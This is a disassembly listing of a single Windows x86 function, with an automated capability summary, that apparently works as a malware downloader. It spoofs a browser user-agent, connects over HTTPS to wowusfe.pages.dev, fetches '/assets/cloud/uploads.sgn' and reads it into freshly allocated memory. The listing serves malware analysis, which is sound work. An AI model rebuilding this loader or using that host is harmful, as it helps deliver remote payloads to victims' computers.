Function at 0x696815a0
Capabilities:
Connect to http server
Create http request
Query remote server for available data
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x4c
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_99.0.4844.51_Safari_537.36_Edg_99.0.1140.31
call dword [sym.imp.WININET.DLL_InternetOpenA]
sub esp, 0x14
mov dword [esp + 0x2c], eax
test eax, eax
je 0x696817e6
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1bb
mov dword [esp + 4], str.wowusfe.pages.dev
mov dword [esp], eax
call dword [sym.imp.WININET.DLL_InternetConnectA]
sub esp, 0x20
mov dword [esp + 0x28], eax
test eax, eax
je 0x696817f0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0x84ecc200
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str._assets_cloud_uploads.sgn
mov dword [esp + 4], 0x69685044
mov dword [esp], eax
call dword [sym.imp.WININET.DLL_HttpOpenRequestA]
mov esi, dword [sym.imp.WININET.DLL_HttpAddRequestHeadersA]
sub esp, 0x20
mov ebx, eax
mov dword [esp + 0xc], 0xa0000000
mov dword [esp + 8], 0xffffffff
mov dword [esp + 4], str.accept_language:_q0.7_en_US_q0.6_r_n
mov dword [esp], eax
call esi
sub esp, 0x10
mov dword [esp + 0xc], 0xa0000000
mov dword [esp + 8], 0xffffffff
mov dword [esp + 4], str.Accept:_text_html_application_xhtmlxml_application_xml_q0.9_image_apng___q0.8_r_n
mov dword [esp], ebx
call esi
sub esp, 0x10
test ebx, ebx
je 0x69681808
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], ebx
call dword [sym.imp.WININET.DLL_HttpSendRequestA]
sub esp, 0x14
test eax, eax
je 0x696817c0
mov dword [esp + 0xc], 4
xor esi, esi
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x80000
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov edi, eax
lea ebp, [esp + 0x38]
jmp 0x69681763
lea eax, [esp + 0x3c]
mov dword [esp], ebx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 8], eax
lea eax, [edi + esi]
mov dword [esp + 4], eax
call dword [sym.imp.WININET.DLL_InternetReadFile]
sub esp, 0x10
mov edx, eax
mov eax, dword [esp + 0x3c]
add esi, eax
test edx, edx
je 0x69681787
test eax, eax
je 0x69681787
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], ebp
mov dword [esp], ebx
call dword [sym.imp.WININET.DLL_InternetQueryDataAvailable]
sub esp, 0x10
test eax, eax
jne 0x69681730
mov dword [esp], ebx
mov ebx, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call ebx
sub esp, 4
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call ebx
sub esp, 4
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call ebx
sub esp, 4
add esp, 0x4c
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], ebx
mov ebx, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call ebx
sub esp, 4
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call ebx
sub esp, 4
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call ebx
sub esp, 4
xor edi, edi
jmp 0x696817ad
mov eax, dword [esp + 0x2c]
xor edi, edi
mov dword [esp], eax
call dword [sym.imp.WININET.DLL_InternetCloseHandle]
sub esp, 4
jmp 0x696817ad
mov eax, dword [esp + 0x28]
mov ebx, dword [sym.imp.WININET.DLL_InternetCloseHandle]
mov dword [esp], eax
jmp 0x696817d5